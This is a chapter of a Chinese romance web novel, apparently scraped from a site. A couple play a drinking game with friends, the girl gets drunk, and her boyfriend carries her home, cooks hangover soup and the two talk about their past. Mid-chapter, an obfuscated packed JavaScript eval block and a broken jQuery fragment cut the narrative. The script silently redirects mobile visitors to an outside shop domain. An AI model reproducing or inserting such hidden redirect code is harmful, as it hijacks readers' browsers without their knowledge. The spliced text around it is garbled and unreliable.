在其他人眼中,宣依和齐呈枫俩人都是冷性子,给人一种吵架后可以进行三天三夜冷战却不会有人提分手的认知。
但听到齐呈枫这话,这种认知便被打破了。
一个总是沉默着无所谓的人会用这种语调逗引她忘却周遭的视线。
宣依将手掌移开脸颊时,众人已经若无其事地坐在了位置上。
等待烧烤的时间里,桌上都沉默地各玩各的手机,偶尔几句交流是分享手机里有意思的视频,但宣依可能是真的眼睛有些疼,并不太想看手机,垂头继续摆弄着那双一次性筷子的包装袋。
齐呈枫挪了下板凳,点进了那个五人群聊。
【@程舟,提个饭桌游戏,无聊。】
消息发出后,几束目光不约而同地看向齐呈枫的方向。
宣依敏锐察觉后也顺着他们目光看向齐呈枫,但身旁的人却没什么感觉一般继续玩着手机。
那么多灼热的视线却只感受到宣依的一般,闲懒的腔调泛着些许倦意:“怎么了?”
“他们在看你。”宣依回答。
“哦,长太帅了没办法,”齐呈枫指尖滑动着屏幕,几个人收回了目光,却难掩有些震惊地沉入手机屏幕,“那你呢?”
宣依不太清楚发生了什么,看着几束目光齐刷刷扫来又齐刷刷收回,不仅对这个行茫然,对齐呈枫突然的问句也一脸懵:“什么?”
“他们看我是因为太帅了,你也是吗?”
“自恋。”
齐呈枫低笑着瞟了眼屏幕里瞬间被淹没的红包记录,程舟终于从百度脱身提了个游戏:“来玩游戏呗。”
众人对手机里的内容多少也有些厌倦了,听到程舟的主意你一句我一句附和着。
“玩什么呢?”
有人问了关键的问题。
“没什么道具,就数字炸弹呗,”程舟脱口预备好的答案,“中了的喝酒。”
隔着半张餐桌,程舟见齐呈枫皱了皱眉,又改口:“不能喝酒的,就回答个真心话。”
宣依听着这突兀的改口,一下就串起来,扭头看向齐呈枫,挑起眉梢:“你的主意?”
“我家依依越来越聪明了,”齐呈枫淡然地接受了宣依轻易猜到的结果,“这也能猜到。”
“再说一遍,是我家依依。”秦珠偏下脑袋看向齐呈枫。
程舟的声音打破了这头的争吵:“没意见,就开始咯?”
说完他便起身去找老板要了两件啤酒,把店里写促销的闲置画板也拿了过来,他随手写了个两位数上去:“那就从一哥你们那边顺时针轮过来。”
“3。”看着程舟的笔画也可以大约摸清楚他写的数字。
“三到一百。”程舟应和着轮向下一个人。
不知道是不是都看见了他的笔画,范围一缩再缩,再次轮回宣依时已经避无可避地剩下一个数字,但程舟还是走流程地开口:“36到38。”
宣依吐了口气,附身去拿放在他们这侧的酒箱里的酒:“37。”
“boom!”程舟还为这一刻配上了音效,笑着问,“真心话还是喝……”
话还没说完,宣依已经捏着开瓶器开了一瓶往杯子里倒了。
齐呈枫向前伸手,被宣依躲开灌满杯子后一口闷了:“就一杯而已,不至于。”
对面目睹这一幕的男生齐齐鼓起掌:“帅,依姐帅!”
宣依微微扬起下巴有些自豪地露出笑意。
齐呈枫皱着眉往对面看去,那群人一下收敛了起哄声:“再来再来。”
“舟儿,你不行,我来当裁判。”
板子换到一个人手中,他背过身去写数字。
宣依扯了扯齐呈枫衣角:“你干嘛凶他们?我不帅嘛?”
“我什么时候凶他们了?”
齐呈枫还没意识到宣依喃喃的声音软绵绵的。
“你明明就有,你这样……”宣依模仿起齐呈枫恶狠狠的眼神,微低下头看向他露出下三白,“就很凶啊。”
齐呈枫看着宣依这副模样,眉宇轻拧。
“就是这样!”宣依伸出手指点在他的鼻梁骨上,“你还要凶我。”
“但是我不怕你。”
齐呈枫隔着宣依戳了下秦珠:“她一杯倒?”
“我家依依酒量很好的,”秦珠晃晃食指,“你别操心这个了。”
齐呈枫不可置信地重新将目光落在宣依身上:“你之前喝过酒?”
宣依听到这个问句,眯起眼睛耸着鼻尖似是思索起来,良久另一边都开始报起数字她才慢吞吞回答:“不记得了,好像喝过。”
得,不仅一杯倒还喝了就断片。
数字又经过秦珠轮到宣依,她咿咿呀呀回过神问几到几,齐呈枫就替她随口答了个“17”。
“boom!”裁判欢呼道,“你俩口子真是……”
感叹的话咽了回去,齐呈枫一口闷了宣依倒剩的那瓶酒在黑夜里扬了扬空酒瓶:“我先送她回去了,她的那份烧烤每样给她留点打包。”
然后扶起宣依,单手捏着手机在群里发了笔两百的转账:“我和她A的烧烤钱。”
宣依在齐呈枫的怀里仰起头:“回去了吗?我还没吃到你选的烧烤呢。”
“要送个小醉鬼回家。”齐呈枫揽着她准备走。
秦珠转过身跟随上目光:“我记得依依酒量很好的啊?”
“可能退步了?”齐呈枫也不太清楚什么情况,但宣依这副模样着实是醉得明显。
宣依点点头,低头跟秦珠挥挥手:“拜拜,小珠珠。”
两人都走出好一段距离了,宣依突然立定:“糟了!”
齐呈枫弯下腰看她:“怎么?”
“你送的小醉鬼没跟上。”
齐呈枫无奈地摆摆头,抬手揉了下她的脑袋:“跟上啦。”
“哦。”宣依又继续被齐呈枫的手臂带着往前走。
刚走出巷子,宣依又停下步子:“我的包包忘记拿了。”
齐呈枫晃了晃那个缠在手掌上的挎包:“拿上啦。”
“哦。”宣依又卸下力往齐呈枫怀里凑了几分。
她的脑袋就靠在齐呈枫的肩前,目光落在白色帆布鞋的步伐上,两双白鞋整齐地迈着左脚右脚,宣依看着这一致的步调忽然提上笑意。
齐呈枫扶着她,感受着胸膛里微微颤抖的身躯,他低头瞧去,见她扬起的嘴角捏了捏她的肩:“笑什么呢?”
宣依也抬起眸子看他,笑容更灿烂:“小枫枫,你听过一句话嘛?”
“小枫枫?”
“不可以这样叫你嘛?”宣依质疑地眯起眼睛。
“你喜欢就行,”齐呈枫宠溺地揉着宣依的后脑勺,弯腰让她仰头的目光不那么费劲,“你准备说什么呀?”
“昂,”宣依跟随着他俯下的视线,莫名泛上困意,糊涂的问句里她不明不白地凑上句,“我有点困了。”
话刚说完,她就垂下眼皮,脑袋倒在了齐呈枫怀里。
路灯拉长两人相依偎的身影,齐呈枫叹了口气对身前醉醺醺的女孩无计可施,一只手环住她的手肘,一边稳着她一边绕到她身前,弓腰让她靠上自己的脊背。
微微弯了些腰将她背起。
夏夜里树丛里响起窸窣的虫鸣,影子被树荫盖了又现,齐呈枫放慢步子,肩头平静的呼吸气流打在他的皮肤上,睡得朦胧路过喧嚣时,她总会沉头蹭一蹭又埋在其中。
忽而响起的电话铃声打断了这安谧的氛围,隔着包里的杂物声音响起来时闷闷的,齐呈枫往道路边靠,单手扶着宣依放了下来,揽着宣依让她靠在身上,另一只手从包里翻出手机。
没有备注,齐呈枫便直接划了接通。
等电话那头声音响起的那刻,齐呈枫有些庆幸自己接电话有让对面先开口的习惯。
“喂,依依,”电话那头的章文华在接通那一刻便开口道,“你下周回来吗?”
齐呈枫将手机往宣依面前凑了凑,但醉酒后的宣依对周围的动静一点感知力也没有,因为别扭的姿势反而往齐呈枫怀里又凑了些。
听着电话另一头窸窸窣窣的杂音,章文华又开口:“喂?依依?”
齐呈枫捏着手机,垂眸看着眼前这个醉得已经不省人事的女孩,无奈地先前探身靠近手机:“喂,阿姨。”
“呈枫?”
“嗯,”齐呈枫将手机递给这边这只手凑到了耳边,“宣依她刚喝了点酒有点不舒服,待会好点了我让她给你回电话吧。”
“她喝酒了啊?”章文华语气充上几份急切,“呈枫你会煮醒酒汤吗?”
身侧的人睡沉了,手臂自然地环住了齐呈枫的身躯,齐呈枫跪下半边腿,让她靠得舒服些:“我没煮过,您教一下我可以吗?”
“那你看一下附近有没有配送的,这么晚太麻烦了。”
这种事情无需评判麻烦与否,他只知道这种东西学上总比不会好,而且……
宣依睫毛颤了颤,因来往疾驰的汽车扯着齐呈枫衣服想往耳边遮,但拉不动又作罢了。
齐呈枫看着身前人的动作,无奈地将揽着她的那只手盖上她的耳廓:“作为男朋友这都嫌麻烦的话,我也太不合格了。”
“阿姨,醒酒汤需要点什么?”
两人简单几句交涉后,齐呈枫了然地将内容记在了心里,电话的最后齐呈枫忽而想起什么:“宣依之前也喝过酒吗?”
“对啊,”章文华顿住挂断的动作讲起,“从学校回来结果一身酒气,咕噜着什么‘那就让她走’,我也没听懂,喝了醒酒汤之后就睡了,第二天问她什么也不记得了,连喝酒也忘了。”
章文华又感叹了几句宣依的懂事让她这份偶尔的叛逆变得更像一个真切的生命。
挂断电话后,关于章文华形容宣依的那些词汇还环绕在耳边,一个母亲对自己孩子的评价竟一个贬义也没有……齐呈枫抬手刮过她那蹭乱的头发,轻声感慨道:“太懂事了吗?依依,有我在你不用那么懂事了。”
轻抚的动作让她眉头皱了皱,但那份熟悉的气息又很快将脸上那份烦躁给压了过去,反而往他手的方向凑了下。
齐呈枫又扶着她将她背起。
-
在齐呈枫将宣依放在沙发离开后,夜色撒下的那片寂静里,熟悉的气息也一点点散去,酒气弥漫的晕沉里,宣依做了一场梦。
或说,她将这十八年的生活又重温了一遍。
一幕接着一幕。
等齐呈枫煮好醒酒汤回来准备叫她,眼前的一幕却让他呼唤的声音咽在了喉咙。
小小的她蜷缩在沙发的边缘,原本平躺有些勉强的沙发却在此刻显得宽阔,那盏台灯微弱的光芒落在她轻皱的眉间,手指还紧紧拽着靠枕的边缘,忧愁的模样却始终未睁眼逃脱。
齐呈枫心一颤,看着她眼角溺出一滴泪,就那样滑落到靠枕上,缓缓晕开染出一块泪迹。
她的手越拽越紧,梦里意识模糊的她只能无助地捏着靠枕寻求一份支撑。
齐呈枫将手掌附在了她攥紧的手上,他的一只手掌盖过她的一双手,指尖也随之扣住了她的手:“别难过,我在呢。”
见她眉头缓缓舒展,黑眸随着掀开的眼皮一点点看向自己的手,看向那股将她从梦魇中拉出来的温度,她的目光迟迟未挪动,像是陷入了梦的后遗症里。
眼前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422911|131584||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
蜷着她手掌的指尖安抚性地捏了捏:“做噩梦啦?”
宣依才缓缓坐起身,低下眼眸看向蹲靠在沙发边缘的齐呈枫,微弱的台灯光成了大片黑暗里唯一的光亮,打在他脸上分辨出明暗面。
他也追随着她,抬头看了过来。
两人对视上的一瞬,宣依鼻尖一瞬,泪水就这样猝不及防地滚落下来。
沉寂的房间内,宣依低声开口:“对不起……”
齐呈枫抬手为她拂去眼泪:“知道不该喝酒啦?”
说着,他转身将盛好的那碗醒酒汤端了过来,坐起身低头用勺子轻拌着:“把醒酒汤喝了早点睡,明天还要训练呢。”
“刚才阿姨打电话问这周回不回去,我后面才想起来下周一是阿姨生日……”
他盛了一勺递到宣依嘴边。
宣依却依旧不动声色,齐呈枫就将勺子递得更近了些,宣依抬手捏住勺根,将它放回碗里然后连带着碗一手端过。
发烫的碗壁在指尖蔓延开温度,她仰头喝完了一整碗汤。
齐呈枫扯了两张纸递过去,又将空碗接过来:“怎么喝汤和喝酒一样。”
他起身往小厨房走:“周一没比赛,你刚好可以休息回去。”
身后的小步子也轻轻落地跟上。
齐呈枫冲洗了碗,一回头宣依近在咫尺。
她脸上忧伤的神色并未淡去,随着齐呈枫转身的动作,手掌撑到了台柜上,将他圈揽其中:“齐呈枫,我们玩局真心话吧。”
因为过分靠近的距离,齐呈枫往后微仰着身子:“酒还没醒?”
这句话被宣依重复的“玩不玩?”给揭过。
齐呈枫抬手揉着她的脑袋,将碗放了回去:“你问吧,绝对如实招来。”
宣依目光落在他宽阔挺直的脊背上,那个充满安全感的背影一步步向前,按下灯开关。
光亮落下,他回过身看向她,此刻梦里的一切消散,只有他真切站在眼前。
恍若一场海市蜃楼。
“我没想过有一天我也会娇气地问这个问题,”宣依带着笑意看向齐呈枫,“你为什么喜欢我啊?”
她想将这一切的怪异都推给那敏感的酒精上头,但也只有她自己最清楚,那杯酒不过是这场真心话的添加剂。
这个问题她很早就想问了。
齐呈枫总归是有一身傲娇的,可他却心甘情愿地等了自己这么多年,就连在一起了,也无微不至到生怕自己离开一般。
“那就说来话长了。”
齐呈枫也没想到他会有回答这个问题的一天,而他的答案与那些所谓的“情不由衷”不同,对于这个问题,在他那儿是有一个准确答案的。
未关实的窗户窜来阵阵晚风,屋里的燥热被吹散,齐呈枫攀上宣依的肩将她往沙发带,语重心长地讲起了那个宣依已经毫无印象的故事。
故事的最后,齐呈枫捏着宣依的掌心翻转。
手掌的伤痕终究是无法痊愈,落在拇指旁边一道不起眼的浅色落在那儿,不仔细看甚至无从察觉,就连宣依也没注意到,是在齐呈枫一点点的摩挲里她才看清那细微的颜色差别。
“就这点破事,你记这么多年?”宣依不可置信地看向齐呈枫,又慢半拍反应过来,“等等,那你岂不是喜欢了我差不多十年?”
思索着,宣依靠在了沙发上感叹着:“哇,你好有毅力,我俩这些年都没见过面吧,你还就这样干巴巴的喜欢了这么多年,”
说着说着,宣依莫名竖起了大拇指:“真牛逼。”
齐呈枫叹口气捏着宣依探出地拇指按了回去:“你也牛逼,这么有魅力,让我念念不忘。”
甚至还去学校兜圈想装个偶遇,结果隔了这么久才发现自己的行为像个笑话,连学校都搞错了。
“那我也回答你一个问题吧,”宣依声音沉下来,视野不知落在了哪儿,又好似并没什么焦点,“你不是问我为什么去了十九中嘛,因为便宜。”
齐呈枫愣住了。
宣依扭头看向意料之中的一幕,笑容轻松:“很奇怪的原因是吧,我现在也觉得,但当时我真的做了很多的权衡利弊,我觉得这是最合适我的选择,但是我不是觉得自己配不上好的,我只是觉得哪儿都一样。你看,我在十九中照样考了省六十三,我一点儿也不差劲,而且在CY的这两个月我也凑够了大学的生活费……”
但说着说着她的笑意还是沉了下去,别开脸继续道:“我没有不想和你说,但就像你听到这件事的第一反应一样,我知道你肯定不能理解,”她手指蜷在一起,自顾自地刮着指甲让自己显得漫不经心,“我害怕我们俩不是一个世界的,会因此分开。”
话到此刻,宣依才真切感受到了害怕失去的滋味。
她曾莫名其妙失去了父亲,连自己都还没来得及忧伤的时候因为各种议论声离开了家乡,那是“死别”的失去。她早早懂事独立的结果是什么都憋在心里,像个小大人一样不愿让母亲看穿自己,小小的她连撒娇的勇气都没有,这是“生离”的失去。
她懵懂地经历了一切,又在此刻具象化地理解了那些懵懂。
齐呈枫的手就在此刻,就在胡思乱想的念头膨胀蔓延的此刻附在了她欲盖弥彰的动作之上。
一滴泪顺着这股温度掉落,落在了他隆起的青筋上。
齐呈枫握着她的手,将她揽入怀中。
此刻的他才是真的对哄人一窍不通,只知道抱着,一点点收力让拥抱更真切。
良久的拥抱里,齐呈枫才开口:“从你加入CY那天起,我便永远属于你的阵营。”
“但在更早之前,从我喜欢你的那刻开始,我就已经属于你了。”